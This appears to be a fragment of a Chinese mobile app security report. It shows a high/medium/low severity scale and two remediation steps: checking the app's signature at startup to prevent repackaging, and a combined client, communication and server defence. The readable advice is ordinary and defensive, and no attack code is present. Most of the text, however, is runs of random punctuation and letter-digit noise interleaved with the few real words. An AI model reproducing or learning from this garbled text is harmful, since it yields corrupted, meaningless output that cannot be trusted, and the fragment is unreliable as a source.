; v z. p& ^( W6 [2 [ F' R* K7 b+ E: B3 {. @+ J. K& ~0 F6 K6 N- v! O" H! g1 \+ u. Z1 N K) J ^2 b( [$ x& D# N6 @# D3 z; i+ Q- N) J8 ]/ o1 O, g7 r& p8 a! t+ Y% O2 n9 z( Y- {7 g! f& d& B4 T" {& B5 c" G" ?1 O/ I' [1 u* Q

0 Q4 t5 D9 F2 } * q" b4 H/ m# w: E6 Y 严重程度 $ y* K1 r# z9 D' J) J; N; _- M3 I 0 [1 \8 s3 ?6 [$ c$ p; N; Q	$ y) y! F% W2 _7 @8 G! O& N : g5 f$ C ^' s" U & \/ P+ z# P: S8 J 高 1 @) y$ S: x7 b" r. F! U' C0 M1 P - T, x! \! Z5 n; y: X7 _1 x6 D	0 j3 C/ X. _/ o' c2 x0 [4 J* d7 H ■ . f. Y0 p$ h/ ~! T/ ?6 d	9 h% k4 ^& p# x- @! ?/ c 1 S. G# ~& O L 3 j9 Q2 _5 p/ b4 g% r 中 % Y, M6 X$ B+ N$ T! ?& D# I5 u " ]) t3 d* W g	/ e" H; R6 ]& i) V5 h* R8 y' C 7 W9 R5 e0 ~, i: `' I) b; q% w 0 B8 v4 y& r. G: h& z ) D3 ~$ m# O( l+ m5 s) [) T   ( ]. R! X. C7 y) q+ S! J	7 {( s- p; q! z. T) d 8 v: v8 d# X z. ]6 N5 {) T3 k 低 * M6 T7 I8 S; X; B/ ^ " d5 |# |/ P' |/ N. [, V & b4 n }% R5 x& u4 P5 C	( J9 T+ B' f( w3 i2 G3 @   $ m/ M# l# Q! N+ C / p$ K, v/ v3 [: |- H8 o( V

O2 m1 C1 e+ a! \8 \1 T' h

  $ _$ S6 _1 Y- c& m" Z7 u6 |, @+ c

! v! g. a9 E- I5 S6 F0 I) l

修复方法： , U+ ~$ A9 R" g _* `

3 P% e" A3 J) |

. g: k$ z! p; L # F ]( j- s" J/ g M               1.在 APP 启动时应做签名校验防止二次打包。
0 s8 R2 ]/ P7 N; g4 r/ k2 M0 c % l8 I$ `# {1 ^$ g 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 9 A! g/ @( w( r( [2 @9 q5 u

# H0 ^6 a0 E; S ( I6 Y5 G( Y& U5 t: q( g' W

, U& C* c. [. O$ f) \* c3 }7 _  

% I# Q. z' H! \1 E4 W ' H' }* y/ P# i4 |. l% q

g/ X( z6 @/ b C
; L V. r/ r8 M: d% P9 G# g : _: x* F! m! E* A/ a& R0 e

, Q; g( h0 F8 q3 {& K% {% g